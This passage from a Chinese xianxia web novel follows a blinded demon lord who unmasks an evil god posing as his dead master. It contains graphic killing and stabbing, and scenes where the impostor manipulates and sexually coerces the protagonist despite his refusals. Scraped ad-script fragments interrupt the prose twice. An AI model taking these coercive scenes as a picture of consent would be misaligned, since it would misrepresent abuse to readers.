他胡乱甩着桃木剑,笑嘻嘻炫耀:“闻笺,快看闻大侠给你表演一个,道生一,一生二,二二得四,降妖除魔令,起!” 话刚完,桃木剑嘭地一下砸到自己脑袋。 …… 乌云散开,日光完全暴露,那道稍小的剪影随着光源移动、拉长,愈渐重合到陌归尘脚底。 那瞬,恍惚有种遗憾被圆的错觉。 陌归尘沉溺在回忆里。 良久以后,魔尊大人敛神,斜觑一眼身旁人,又迅速收回目光,纡尊降贵似的,把手搭上对方掌心,由着自家师尊搀扶。 干巴巴吐出两个音。 “带路。” 55.陌归尘掼倒对方, 55. 魔界,地下神宫。 主殿内,壁上烛火红而阴冷,摇曳如鬼魅,幽森映照着一方悬空的青铜轮盘。 轮盘纹理是以仙门十四州各派坐落的地点连绕组成的一个特殊符号。 亦称之为阵符。 阵符已经逐点亮起不少,而阵中央的阵眼,那一团透明光球,此刻也在缓慢被填充。 青铜轮盘十步之遥外。 二竹弋淡淡敛神,又难以遏制想起曾经的对话,什么爱恨交织、天生坏种,这师徒俩果然都是一脉相承的口是心非。 刚转身,便收到陌归尘惜字如金的穿音符。 是魔界西北处,有两个部落首领在闹矛盾,起了点纷争,让他出面协调一下。 二竹弋倒没怀疑,毕竟自家那口硬心软的殿下,已被引出魔界,踏上赶赴合欢宗附近小镇的半路,确实无暇分身。 他穿过连片的长明灯,回到魔宫,经过几次洗礼更迭,放眼整个魔宫,几乎都是主上安插进来的眼线。 招来些人交代几句便离开。 * 另一边。 陌归尘师徒二人结伴同行。 路过片湖,几对鸳鸯正在戏水,鸣叫扑腾声传来,陌归尘听得放缓脚步。 当真逍遥快活,难怪书里有云:只羡鸳鸯不羡仙,愿向江湖同展望。 陌归尘停在湖边,轻轻喊了一声:“闻笺。” 而后自言自语憧憬着:“如果没有十年前的种种意外,我们会不会也这般逍遥自在,做一对闯荡江湖的野鸳鸯?” “野鸳鸯?”师尊扶着他的掌,无端紧了紧力度,声音不重不轻,“为师怎么记得,我们是拜过堂成过亲的。” 陌归尘懒眼瞟瞟身边人。 不知是不满意答案还是不满意什么,一言不发,也不动声色抽手,自顾自往前走。 身后人快步追上来。 师尊从背后搂着他,低下脑袋,往前侧探头,微凉的指尖掂来他下巴,话里含着点淡笑,温言细语:“不开心?好端端的怎么又闹别扭?” 陌归尘闷闷嗤了声。 没理人。 师尊指背捋捋他耳鬓的发丝,理了理问:“脚疼?” 那人温和又纵容,低叹:“真是和小时候无差,才走个两里路就撒娇要师尊背。” 言罢,无可奈何似的,单膝蹲到他身前:“上来吧。” 茫茫天地,寒风乍起,不止地刮向这边,二人身旁的树被吹得枝桠乱颤,怎么也静不下来。 在那阵无以消停的风中,陌归尘仰起头,整个人茫然而空洞,呆愣片刻。 终是乖乖爬上去。 * 合欢宗附近城镇。 老城主早早候在城门,远远瞧见一红一白两道身影,哪怕对方刻意收敛威压,可举手投足间流露出的气度,着实非凡。 再定睛细看,竟连样貌也都一等一出挑,他肚子没几分墨水,只能由衷感叹一句:是各有千秋的顶好看。 自打合欢宗被灭门后,附近城镇便接二连三出现各种怪事,起初还有些云游方士能帮忙解决一二,后来呀,只能求助附近仙门,都来过好几批了。 如今,又差点闹出人命。 看见那二人到来,老城主快步迎上来,满是殷切问:“二位仙君是仙门派来的?” 陌归尘没答这话,开门见山问:“城中哪里异常?” 老城主闻言,如释重负舒气,果然是仙门的仙君,就是性子有些冷,思忖间赶忙酝酿腹稿,回话:“是城中空无一人的府邸传出男子的唱戏声。” 陌归尘不假思索道:“从前发生过命案?” 老城主大喜:“仙君料事如神,此地确实曾有命案。” 他拣着重点娓娓道来:“当年,那是个唱戏的大院,后来有位纨绔公子相中这块地儿,逼迫戏班子迁走,好说歹说不管用,后来,这纨绔公子便趁着人家登台,放了把火,戏院的那位男伶也不知是磕傻了脑袋还是怎的,人都跑光了,他还愣是站在戏台上继续唱,活生生被烧成捧灰。 几人说话的功夫,城外又陆陆续续赶来不少仙门弟子。 姗姗来迟的仙门弟子逐渐围向这边,却又止步不敢靠太前,不少人只道这师徒俩竟如此堂而皇之,大摇大摆出现,高调张扬,真是伤风败俗,天理难容啊! 有人扼腕痛惜,堂堂仙尊,怎可与魔为伍呢! 必然是那堕落成魔的孽徒,罔顾一切法度伦理,勾引师父! 简直不要脸! …… 被讨论的当事人还浑然不知,只听老城住格外热情与他套近乎,恭维道:“这位小仙君,旁边这位是您的师兄么?你们师兄弟都是一表人才呀! “我们这些普通老百姓,真是多亏有你们这些仙君,才能保得一方安稳啊!” 这话听得陌归尘想笑。 随后又闻老城主破有些难为道:“只是今日似乎来了不少仙君,府中厢房紧缺,不知你们师兄弟可否挤一挤?” 陌归尘偏头,面向自家师尊,便听那人道:“我们并非师兄弟,此乃小徒。” 老城主呵呵一笑:“敢情竟是师徒,仙君当真年轻有——” 话未完,便又见白衣男子反手握上红衫公子,极其珍重补充:“亦是我意中人。” 老城主瞪圆眼定住:“?” 仙门乃至凡间都从未有哪对师徒堂而皇之相恋的,毕竟那是有违人伦的。 从前,陌归尘以为师尊无意于他,也是万般谨慎,藏着掖着不敢吐露半分心思,后来,便如肉包子打狗追着自家师尊,还是连番遭拒。 哪想如今竟风水轮流转。 师尊就这么牵上他的手,罔顾一切世俗目光,堂堂玄胤仙尊比他这个魔尊还要肆意妄为,当着众仙门弟子的面,离经叛道:“想来厢房紧缺,我们既是师徒,也是道侣,有劳城主安排一间即可。” 围在周遭的人,沉寂片刻,便跟炸开锅似的,窃窃私语,交头接耳,话语中无不是或批判或不齿或惋惜或……等。 “简直荒唐至极!” “仙尊真是被迷得神魂颠倒,冒天下之大不韪也要挑明那层关系,多年清誉,平白毁于在旦夕之间,身败名裂啊!” “什么清风明月谪仙人,还教化徒弟呢,背地里都厮混到床上了,腌臢哟。” “什么狗屁仙尊!” “道貌岸然伪君子!” 话题渐渐偏移:“不过你别说,就大魔头那般绝世容光,那脸,那腰,那腿,搞得我也蠢蠢欲动尝一尝男人的滋味。 “越傲,玩起来越爽! “尤其是他那个嘴,光是看他一张一合的,我就他大爷……来劲儿!!!” 锦衣男子话刚完,便觉收到两道视线,阴寒、森然,像毒液般黏稠附着,叫人莫名发凉发怵,他打了个寒颤,后怕环顾四周,又并无发现异样。 嘶…… 他吓出身冷汗,抽气,抱手瑟缩一下,不愧是闹鬼之地,青天白日也阴森可怖得瘆人。 * 时辰尚早,陌归尘继续向老城主追问几句,心中有底后便在房里歇下。 师尊也没多问。 毕竟是从小带在身边,自然摸透猫的习性,譬如嗜睡。 城主府,庭院。 两名弟子正坐在院中,饶有兴味讨论陌归尘。 锦衣男子拇指摩挲下巴,说得正起兴,口水都收不住时,恰好瞧见师弟惶恐起身行礼:“玄胤仙尊。” 仙尊来了? 他顿时闭嘴,匆忙抹了把额角的冷汗,心虚不已转身,也跟着行礼:“仙尊有礼。” “嗯。” 来人轻嗯声,神色淡然坐到他们对面,二人受宠若惊,吓得不敢落座,屏住呼吸听差遣。 锦衣男子低垂脑袋,视线恰好落在仙尊双指,但见那人骨节分明的指缠着几圈纯白灵丝。 这倒是叫他们想起,镇上不少老弱病残,听说还有几位姑娘被吓得出惊,二人顺理成章猜想仙尊该是给姑娘们把脉问诊。 二人旋即堆出阿谀奉承的笑,谄媚道:“仙尊真是医者仁心,慈悲为怀,悬壶济世,福泽众生,有您在,甭管什么疑难杂症,不在话下!” 至此,那人才淡淡开口:“尔等方才似乎谈及小徒?” 锦衣男子挠头,臊红了脖子,果然被听到了,要来敲打训斥?他暗叹不妙,一时惶恐不安,心底急团团乱转,却也止不住腹诽,自个儿都和徒弟滚到床上了,其身不正,也不知来他们面前装什么大尾巴狼! 只需州官放火? 不许百姓点灯? 但明面上,还是毫不掩饰地噙出来自同龄人的艳羡目光,猛拍脑门,睁眼说瞎话:“啊……是是是的! “陌师兄实在风华绝代,我等很难不钦慕。 “当年陌师兄尚在仙门时,我曾在论剑大会目睹过师兄风采,远远一眼,至今难忘,我才选的剑道,当剑修的。 “不求能媲美师兄,只愿日后也能机会与师兄切磋切—— “唔。” 话音戛然而止。 整个院子霎时陷进死寂。 锦衣男子瞠目张唇,不可置信低头,只看到自己喉间割开的血肉外翻,正源源不断喷出鲜血,模糊中,还能瞥到细长的经脉,一下一下跳动,如无声的呐喊,又似微不足道的反抗。 血水滚滚,浸湿大片衣襟。 一段染血灵线,也被其主人丢弃,松散飘落地面。 “师尊。” 院门口,突如其来个人影。 青年一袭红衣出现,银发松软泼落,堪堪遮住清薄的肩,也掩盖走些病气,让人瞧起来没那么脆弱。 陌归尘泛白的五指,单手虚扶门框,跨进院门,面向前方,伸出另一只掌盲摸空气:“师尊,你在吗?” 失明的人,敏锐嗅到丝血腥味:“院子里什么味?” “怎么出来了?” 面前投来点阴影,师尊已来到他身侧,接住他晾在半空的手,熟稔又自然理上他鬓发,往耳后一撩,哄着他出门,“宰了只鸡,晚些时候给你做荷叶鸡好不好?” 咚隆一声巨响砸地。 “什么声音?” 陌归尘循声回头,只听自家师尊不咸不淡搂着他走出门:“没什么,架子上的东西掉了,再去小憩会儿,晚点叫你。” “哦。” 他邀功似的莞尔:“不过也挺巧,我刚才也杀掉些腌臜污秽的阴沟老鼠。” “老鼠?” 师尊轻笑,“在哪?” 院子外,霎时化出第三道身影,是暗中领命铲除异己的魔兵现身,魔兵跪下复命:“回禀尊主,处理完毕,整个魔宫都已大换血,现如今全是咱们的人。” “嗯。” 陌归尘挥退魔兵,恩赐似的解释一句,“外人只知魔界有十二魔将,其实不然,我一直没对外宣称,还有四大魔兵。” 空气静默一瞬。 师尊:“你的左护法呢?” 陌归尘也笑了笑:“应该还在魔界西北部处理杂事。” 随后,他听到自家师尊淡笑一声,话音轻轻的,语意难辨:“你这一遭出魔界,是调虎离山,声东击西?” 陌归尘昂起头,讨赏似的摸上对方的下颌骨:“多亏师尊从前手把手带我抄兵书。” “所以,为师是功臣?” “当然,师尊是大功臣。” 说话时,陌归尘嘴角挂着道淡笑,侧仰头面向自家师尊,只是眼底有些空茫,像 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是在看人,又不似在看眼前人。 片刻后,才收回眸光:“既然有人要引我到此,我何不将计就计?此番整顿魔宫,肃清余孽,师尊功不可没。” “幕后之人是谁?” “咳咳。” 庭外拂来凉风,后背适时披落件披风,陌归尘拢着指,又掩唇咳嗽一下:“谁知呢,许是上任魔尊死灰复燃。” 这么一咳,颈脖无意识紧绷,耳后背那片肌肤便似白玉泼胭脂,雪里透红,配上细密的吻痕,妖冶诡丽极了。 师尊的指背碰来他额头:“染风寒了?” 随后那人摸摸他额角的冷汗,无奈而忧心,浅声喟叹:“好不容易涨这么点修为,一次用光,没有修为撑着经脉,你这身子骨可真是与凡人的药罐子无差。” 话毕,师尊的指端凝出股暖流,钻进肌肤,裹来经脉,调理他纷乱的内息。 陌归尘小小挨向旁人,明明什么也瞧不见,却又似能看到闻笺一副无可奈何的模样,举起手来敲他脑门的画面。 他反手拽上自家师尊袖口,那是个在外人看来极其亲密无间的姿势,实际上陌归尘只是虚虚贴了贴。 “谁让你把徒弟养得那么娇贵,你得负责到底。” 说话间,便是撑着师尊肩膀,踮起脚来,将彼此拉到一个能平视的距离。 他像贪杯的酒客,逢场作戏挑起对方下颌,吐气如兰:“我还挺想尝尝当昏君的滋味,不知爱妃赏不赏脸?” 那人道:“仔细难受。” 陌归尘松开手指,破有些遗憾嗳气,又转而明朗道:“忽然想起,前日魔界长老南巡寻得批江南美男,听说很会伺候人,也不知进贡——”话音戛然而止。 脚下猛然一阵腾空。 …… 陌归尘重新落地时,已是月上枝头,他边掀开被子边掐诀巩固修为,随着元阳的吸收,修为也越发渐长。 修为些许恢复,那些凡胎肉骨才会落下的病痛也早已消失得无影无踪。 青年指尖抚过腕骨,抹去几道残留在肌肤的痕迹,又抬手结印,再次把新得的修为一半偷偷压进识海深处,不着痕迹地藏起来。 做好一切,方才不疾不徐踏出门槛,正正好闻到阵荷叶鸡的清香,对面人脚步声缓缓靠近:“刚做好,吃点。” 陌归尘没拒绝。 用过晚膳后,师徒二人走出城主府,夜色渐沉,乌云蔽月,街道两旁门窗禁闭,两道红白身影穿过清幽的青砖大道。 月光胶出层朦胧薄纱,虚虚覆盖师徒二人投落地面的影子,两厢交叠,此起彼伏。 任谁远远瞧见,都会由衷感慨这一番师慈徒爱的和谐光景。 * 终于,来到目的地。 二人定定站在人去楼空的府邸门前,府中果然传出乐声。 唱的是一出《无人赴约》。 为何这般笃定,皆因陌归尘听过,在天一门附近,在闻笺来接他的那个雨天,在一只日日苦等主人来接他的大黄狗的神元中,他听过这首曲子。 那是狗主人自创的曲子。 每个寂静无人的夜,主人排练之时,大黄狗都会守候在台下,静静聆听。 根本就不是闹鬼,是他们来赴约了。 “它的主人,没抛弃它。” 青年的嗓音落在寂寥无声的长街,散去,再回荡而归,携着冷风,听起来,隐隐约约的,还有些麻木而空洞。 他们只是守候在各自看不到的地方,等待着对方。 谁也没有抛弃谁。 “进去吧。” 师尊的手挽来,正欲扶他,陌归尘却不动声色避开,自顾自摸上大门,走进去。 二人缓缓靠近一方空地。 陌归尘看不见寻常人的世界,却能清楚望见诡异的场景,一方戏台上,那名男伶一身戏服登台,眸中空茫茫环顾四周。 最终还是起唱。 戏到中场,熊熊烈焰四起,火光滔天,男伶未见惊扰。 他素手抚云鬓,一个水袖翻转,眼波盈盈,莲步移回,嘴角蕴笑定定注视某个方向,唱着:“回首繁华如梦渺,残生一线付惊涛。” 陌归尘顺着男伶目光移动视线,台下空无一人,但赫然多出抹黄色身影。 那是只黄犬。 一人一狗就这么四目相对。 这一瞬,陌归尘也顿时窥见到他们的人生。 当年戏班子迁走,临出发前,男伶本要去接大黄,不慎从阁楼摔倒昏迷,醒来第一句话就是询问自己的狗,班主懒得应付,只骗人说在最后头跟着。 男伶休息间隙寻狗。 寻不见狗影。 班主被烦得紧,便搪塞诓人说是那狗嫌赶路累又吃不好睡不好的,便趁人不备,挣脱绳子跑了。 再往后便是接二连三的阴差阳错,从此天人永隔。 …… 陌归尘闭目,又止不住想起那日雨下的白衣男子,那个温柔到骨子里的人,身上总带着股独特的栀子花香,细闻之下,还夹杂丝苦涩。 星火点燃纱幔,焰光片片浮荡、掉落,又再蔓延,最后将整个戏台吞没。 身旁人适时开口:“老祖宗留下的规矩,好戏一旦开场,哪怕台下无人也要唱完。” 台上戏腔仍在,哀怨婉转。 青年的嗓音隐在其中,像含糊不清的喃喃自语:“那么师尊呢?你的戏,唱完没有?” 陌归尘刹那转身,攻其不备,根本不给人反应间隙。 他蓦然出招,一把将对方掼倒在地,举起匕首,手起刀落,生死刹那间,那利刃,深深钉在自家师尊颈侧外。 抬起紧攥的拳头,陌归尘五指一松,掉出里面的栀子花香囊,味道清甜极了。 “演够了吗!” 56.还捅不捅? 56. “噢。”雪影佯装惊讶,视线从铮亮的利刃收回,颇为遗憾感慨道,“这么快就发现了。” “而且,翻脸前,还晓得先坑为师给你灌……” 雪影狎昵一顿,特地将某个字眼重咬了一下,指背也若有似无碰过陌归尘平坦的腰腹,玩味道,“灌点修为。” 他纵容笑道:“狡猾。” “多亏师尊教得好,兵不厌诈。” “如此看来,又是为师的功劳?”他话锋一转,如同个为徒弟深谋远虑的好师父,善意提醒道,“够用吗?可要再来些?不然等下若是打架打输,哭鼻子,为师可不哄的。” 徒弟没理会他的调侃,转手拿出幅丹青。 画中人红衣加身,神情漠然俯瞰大地,宛若尊凌驾众生的神祇,根本不是闻笺。 陌归尘唇角挽起讥讽:“你欺我眼盲,偷龙转凤骗我,还把我和闻笺一起画的那幅画烧掉。 “你无耻!” 他三下五除二撕碎这画,一把甩向对方,丹青纸屑纷纷扬扬,落在火光中,化作灰烬。 雪影目光游移回徒弟身,操着一贯气定神闲的姿态:“大概是从哪里开始怀疑?” 陌归尘直言道出疑团:“很早以前我就发现,所有事情首当其冲的固然是我,可是真正受到实际伤害的,从来都不是我 “我在地牢见过华云舟,他曾说师尊回过一趟浮华派,可那个时间段,闻笺分明还被我锁在魔宫竹屋。 “我不知你目的,但我猜,你在拖延时间。” “那又是怎么猜出你那位左护法是为师的人。” 陌归尘:“他喊我殿下。” 雪影:“仅此而已?” 陌归尘:“他称呼你尊上。” 陌归尘:“如果在仙门,我不会生疑,但偏偏在魔界,他却先喊的你,再叫的我,你在先,说明他更敬你。” 陌归尘自嘲一笑:“你方是他真正的主子,主子的徒弟,可不就是殿下。” 雪影赏识赞了句:“我们玉玉分析得倒不错。” 而后好笑补充:“其实为师也不知他为何喊你殿下。” 陌归尘沉默了一下。 片刻后,有些失魂落魄阖眼:“既然师尊愿意陪我上演你侬我侬的恩爱戏码,哄我开心,为什么不能骗我久一点!” “我们玉玉太聪明了。” “真的是我聪明吗?分明是你,蓄谋已久,早早部署好一切,又给我刻意透露信息,把线索一点一点抛到我跟前。” 雪影再次毫不掩饰称赞:“你看,为师就说你聪明,这都被你发现了。 “既不行仙门结契仪式,又不走魔界迎娶流程,分明是不想正式承认我,我们走的是凡间民俗嫁娶礼,也算圆你多年遗憾,可拜天地时,你又偏生故意省掉“夫妻对拜”那一下。 “根本无需为师给任何提示,你心里早就明镜似的,不是为师骗你。 “是你在自欺欺人。” 陌归尘哭着笑了笑。 好半晌,他颤颤巍巍捧出个杏色神元,秋后算账似的控诉:“你敢说你没骗我?是你从中作梗,为了离间我和我朋友,处心积虑,足足铺垫十年,师尊可真够用心良苦,整整十年的温水煮青蛙,可笑到我看见他的神元是杏色的那刻,第一反应竟不是相信他是无辜的。” 陌归尘无声失笑,那笑里含着讥讽与凉薄,还有丝溢于言表的含恨:“从来就没有人背叛我!” 雪影没理会陌归尘的指责,捡起那个栀子花香囊,掸走些灰尘,郑重纳进胸膛:“乱扔东西可不是什么好习惯。” 这话却踩到人痛处似的。 叫人浑身腾起股戾气。 陌归尘摸去空空如也的脖子,攥得关节泛白,指控:“那枚能重伤你的邪神之心,扔出后,就再也不见踪影了。” “所以呀,为师告诉过你的,真不要乱扔东西。”雪影旋即在徒弟玉白的颈脖挂上条铃铛锁骨链,取代了原本的红绳吊坠。 他眼神尽是浓重的占有欲,无声欣赏片刻,满意低叹:“真漂亮。” 陌归尘似感知不到对方的行为,无端冷静从容:“这枚闻笺送我的吊坠为何会在十年意外脱落,掉进幽冥鬼涧,师尊对此没有什么要解释的吗?” “哎呀,好吧。”雪影悠悠捏了捏陌归尘脸颊,无所谓承认,“不是意外,是人为,为师看它不顺眼。” 他看着他,眉眼尽是游刃有余的神情:“不过这枚吊坠确实能保护你,为师就想,先留着吧,与其无缘无故令其消失,让你心心念念,倒不如等某天,等某天,我们玉玉心甘情愿摘下,亲手扔掉。” “嗬……” 陌归尘轻声笑了笑:“师尊不愧是师尊,你总有那么多方法拿捏我。” 那笑过后,整个人再度陷进种诡异状态,如同被剥离情感般,空洞麻木。 “正如你不想在我口中听到闻笺的名字,你也有方法让我不说,可那怎么可能是闻笺会做出来的事情!” 他无名火再起,掏出本话本,摔到对方颈脖:“这话本,你写的吧,一直都是你在有意无意引导我。 “我的每一步都在你的算计之内,就连这魔尊之位,怕也是你在背后推我上去的。 “师尊。 “你给过我选择吗?” 底下人没回这句诘问。 陌归尘听到戏台坍塌的轰隆声,烟团呼来,热风灼灼,撩拂肌体,叫他也似葬身火海,窒息,无助,心如死灰。 或许,这一趟人世,本就不该来。 额角忽而袭下点凉意。 陌归尘眼前旋即一片清明,是师尊又给他施了术法。 他的视线有些模糊,眸光止不住沿着师尊的下颌往上移,一点一点掠过,临到鼻梁那刻,蓦然怯住。 奈何还是按捺不住,又往上瞟了眼。 刹那与双眼眸对视。 那人目中含笑,一模一样的脸容,却总差些味道,只一眼就可知,那绝非闻笺看他的眼神。 陌归尘失意撇开头,嘴角染上讥笑,毫不留情嘲讽:“邪神不是自诩幻化万物么? “怎么连自己的眼神都无法复刻回来?” “重要么?不都是为师?” 陌归尘嘴角蕴着丝凉薄,冷漠吐字:“重要。” 雪影没纠结这话题,自顾自感慨万分:“我说做的时候,我们玉玉怎么哭得这么可怜呢,原来真在哭丧呐。” “你混蛋!” 陌归尘一拳头抡了过去。 肉身成神的人,宛若铜皮铁骨,岂会轻易受伤? 而那日能被徒弟倒刺划伤口腔,无非是拿捏住对方的心理,让人心甘情愿躺到他身下的一些小手段罢了。 雪影挑眉,爱怜握上陌归尘的掌,朝徒弟白里发红的指节轻轻吹了口气:“都给我们玉玉打疼了是不是?” 又轻轻揉了几下。 陌归尘抽开手:“都是你,一定都是你,我的朋友,我的师姐师兄,我的爱人,都是你,把他们从我身边一点一点夺走。 “为什么要害他们?” 雪影置否:“你的那位二师姐命格有损,反正也命不久矣,自然是要死得其所,物尽其用的。 “为你而死,是她荣幸。 “也只有这样,我们玉玉方会在往后的日子里,认真活下去。” 他爱怜抚摸陌归尘眉目:“闻笺把你教得太好了,也没有人比师父更懂你,我们玉玉不会为爱而死。 “他从来都是为爱而生。” 陌归尘摇头,无声落泪。 一个吻,毫无防备降落,陌归尘挣扎推开对方,那人却反手摁来他后腰窝,紧扣他后脑。 热息裹挟炽热的爱|欲。 一点一点占据理智。 哪怕内心在颤抖,在抗拒,却还是没能否认,他紧绷的脊背在对方怀里,自觉地卸去力度,因被抚|慰而松懈下来。 比任何安神药物都奏效。 那是师徒二人几十年相伴积累而来的,无法轻易抹掉的眷恋。 又或者不止…… 还有份藏在骨血里的,与生俱来的,无法割舍的依赖。 那点几不可察的崩溃啜泣,被一点点碾|碎,吞进另一人的口腔。 好半晌后。 陌归尘茫然睁开眸,看到大火还在烧,连片浓烟滚滚。 排山倒海般翻涌,热潮的尽头,是片雪袍。 那瞬,他骇然醒神,反手掐住雪影脖子,须臾退出对方怀抱,跌跌撞撞跪伏。 “你把师尊还给我。 “还给我……” 陌归尘双手撑在地面,像个走丢后还摔倒的孩子,倔强弓紧腰身爬起,嘴里还喃喃重复:“师尊,师尊……” “师尊……” 雪影弯身把人搂起,细细擦着徒弟沾满灰尘的素指。 “玉玉啊,别这样可怜,搞得像为师把你变成小寡夫,还强夺人夫似的,分明我们才是明媒正娶拜堂成亲的夫夫。 “你是不是就爱玩禁忌的?” 他若有所思,话锋轻飘飘转了一下:“不过,这样品一品,确实比单纯的师徒恋更悖德逆伦。” “闻笺到底去哪了?” 雪影轻轻点点底下人鼻尖:“又在明知故问,我们玉玉这么聪明,肯定都猜出来了。” “师尊……我要师尊。” “又无理取闹是不是?为师不就这吗?是你从小抱到大的师尊。” “把师尊还给我。” 无计可施那般,雪影颇为头疼,还是顺从道:“真是拿你没办法,玉玉想要多少师尊?” 雪影掐了个诀。 陌归尘只觉身后与两侧霎时多出三道人影。 “三个师尊够不够?” 身后的师尊手穿过他两臂,拥托着他,让他半躺着支起身子,片刻后,又化作团软软的透明流体,凉凉地包裹脊背。 源于对未知事物的恐惧,总叫人难以淡定。 陌归尘有一瞬怔了怔,迫不及待要逃离,那团流体又变幻出七八只节肢,像只巨型蜘蛛,把人抓回,压进无形的网,严丝合缝相贴。 两旁的师尊则化作两根软柔无骨的肢节,绕过他那暴露在袖口外的半截腕骨。 触手细密的吸盘缠咬肌肤,如密密麻麻的吻,奇怪的刺激,叫人酥麻难耐抽手。 可又惩罚似的,越要抽手,便会缠得越紧。 雪影杵在原地,手掌捂住陌归尘的唇,愉悦逗人:“怎么不说话?嫌少?那一百个?” 他撩起另一只手的食指,勾向陌归尘下巴,轻缓细挠,含糊低笑:“贪心。” 刹那,四面八方投来只有轮廓的黑影,黑压压一片,仿若密不透风的墙,围得逼仄。 诡异瘆人的场面,叫人不寒而栗,下意识紧绷身子,连带眉睫都无风自颤,簌簌抖动。 陌归尘动作滞涩,僵在原地,口中发出些细碎、闷哑,又无意义的呜咽声。 雪影还捂住徒弟的嘴,语气缱绻温柔:“殿下怎么不说话?一百个还不够呀?” 陌归尘被死死捂着唇,只能疯狂摇头。 泻出指缝的哀鸣,像落进捕兽夹的幼崽般无助,莫名比任何药物,都更能激发人最原始的兽性,叫人丧心病狂地上瘾。 也不过两息功夫,但见徒弟乌亮亮的眸氤氲上层水汽,再眨一下,就要蹭蹭掉落。 雪影扶额:“哎呀,瞧为师这记性,忘了忘了。” 他良心发现般松手:“可以说话了。” “师……师尊。” 青年声线有压制不住的颤抖,像是在示弱,“不,不要。” 雪影循循善诱 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 似的,温声低问:“怎么又不要了呢?不是哭着要师尊么?” 他指尖勾起徒弟一模银发,漫不经心把玩着,状若恍然大悟:“为师记得,我们玉玉口是心非惯了,总爱说反话,嘴上说不要,其实心里该是想要的,对不对?” 话毕,便见人煞白着脸,神情是梨花带雨后的讷然,红着眼摇头,定了一下,又点点头,随后又摇头。 雪影简直被徒弟的迷蒙模样逗乐,呆呆的,真可爱。 他指尖挑起锁|骨的铃铛,勾出点啷啷声:“真不要了是吧?这可是玉玉自己说的,为师可没逼你呀。” 陌归尘默不作声。 雪影低下头颅,浅吻着徒弟发丝:“要?或不要?说话,你不说话,为师也拿不准主意,你知道的,为师一直都顺着你的,哪怕玉玉想要一万个师尊,为师也会竭尽所能。” “不,不要了。” 至此,雪影满意在底下人颤栗的锁|骨落下深深的一个吻:“别哭了。”指尖一捏,百道碍事人影便全部消失。 他双腿仍垫在陌归尘膝弯下,身子往前倾了倾,从小徒弟后背捞起条毛绒绒的尾巴,动作轻柔抚顺炸起的猫毛。 “看来真是把我们玉玉吓坏了,小尾巴都掉出来了。” 雪影一副愧疚神情:“都是为师不好,为师给你赔罪。” 他面对面搂住陌归尘,恢复往日尽职尽责的慈师模样,左手托着徒弟脑后勺,右掌有一下没一下温抚徒弟后背,低声细语安慰。 “好了好了,为师怎么舍得真欺负你,向来都是你对为师又打又骂的,你扪心自问,为师何时还过手? “哪怕是你拿鞭子抽为师,为师都没舍得动你一下,你再看看那位所谓的好师尊,竟不知好歹到敢把你摁在怀里规训。 “为师怎么就比不上他了?” 话音刚落,雪影肩膀猛然袭来阵钝痛。 扑滋—— 尖利的刀锋,就那么直愣愣捅进骨肉。 “把师尊还我! “你把闻笺还给我!” 雪影低垂眼眸,这次的匕首淬过毒,不会致死,却极为磨人,疼意开始叫嚣。 他却欣慰浅叹:“为师就知,你这小没良心,肯定要耍赖。” “你把师尊还给我! “你这个刽子手!” “刽子手?”雪影一语中的挑明道,“你我都心知肚明,你那位好师尊并非我杀的,我可没有那个能力杀他。” “玉玉啊玉玉,你不是一直在为师身上找闻笺爱你的证据么?如今为师已经把最浪漫的证据奉上,你还有什么不满意的?” 似听不懂这话,徒弟眼底茫然,愣愣望来。 雪影像个尽职尽责的好师者,耐下性子为满腹疑窦的徒弟解惑:“想要杀死邪神的唯一方式,那便是心爱之人给他心脏来上一剑,十年前,他把心剜了,也不全是否认对你的爱,只是想要永远庇护你,他就必须把心挖掉,那固然是爱你的证据,也是他唯一的弱点。 “邪神之心,为爱而生,因爱而死。 “邪神陨落,就是一场对爱论证的过程。 “啧啧啧。 “死得真浪漫啊。” 藏在内心深处,那迟迟不肯相信的真相,终于被人毫无保留地推上水面,一点一点揭开到眼前,翻涌的情绪压着他,沉重无以复加。 陌归尘张唇,像哮喘病发的人,大汗淋漓蓄着颈脖,仍感觉有些呼不上气。 额头被师尊轻点。 那夜的画面霎时被打乱重组,还原回原本的模样。 无双剑刺的根本不是他,而是刺在闻笺心口。 闻笺握着他手,安慰他。 而他在做什么?他反手又是一剑,继续往前捅,直贯穿对方躯体。 闻笺跟他说“别哭”。 而他留给闻笺的最后一句话是—— 我讨厌你。 …… 画面褪去,陌归尘眼底激荡起的剧烈情绪,终是在眼尾拖拽出片潋滟的水光。 他狠戾得狰狞,握紧匕首,提起全身力气,恼火着连扎几下:“你又骗我!你没人性!” “恨我么?” 血水顺着柄梢滴落,啪嗒掉到陌归尘眉骨,淌进眼眸,又暖融融滑出眼角,恍若血泪。 “都给我们玉玉弄脏了。”雪影指腹抹走徒弟脸上的血痕,“怎么不说话?” 他又问:“恨为师么? 连问几遍也得不到答案,也不恼,“不恨?那就是爱?” 陌归尘:“我恶心你。” 雪影:“小骗子。” 雪影手指点到陌归尘锁|骨,藏在衣襟下的血色蔷薇霎时缠绕而上,细看之下,还能瞧见花枝正在吸收着寄生之人的七情六欲。 那是世间最浓稠的情愫,极致的恨交织着极致的爱。 雪影收指。 蔷薇花也不动声色窝回原位,继续吸纳吞噬宿主那浓稠的七情六欲,若是陌归尘愿意低头,便会望见,蔷薇花此刻盘绕而成的形状,就是二竹弋曾画给他看过的一个特殊符号。 见小徒弟情绪被吸走而恢复平静,仍是久未再语,雪影握上陌归尘的手,那人竟缩了一下。 他含笑问:“慌什么?” 言罢,便攥住徒弟手背,带着对方往自己肩膀深深刺进一刀,淋漓的鲜血,再一次自伤口汩汩涌出。 匕首抽出,殷红的液体,顺着二人十指紧扣的手蜿蜒流淌。 血迹染在陌归尘白皙的腕骨,一时艳|靡妖冶无比。 雪影问:“还捅不捅?” 他倾低头颅,极尽温柔吻上徒弟颤抖的腕骨。 手下动作却粗|暴掀开红袍一角,轻车熟路停在某处战|栗紧绷的部位,揉化,揉软,揉出一片水淋淋。 “不捅,为师就进去了。” 57.一个月脚不沾地, 57. 陌归尘霎时转身,眸含薄怒,掐上对方的脖子,却离奇地感觉到自己有点呼吸困难。 他迷茫顿了一下,霍然加大力度,那股窒息感便更盛。 不信邪似的,陌归尘又抬起另一只手,使尽浑身力气,死死掐住自己的师尊。 直至在对方脖子,深深地勒出一圈青紫淤痕。 他盯着对方的眸,却从对方眸中看到,自己的脖子同样出现道青紫交加的痕迹。 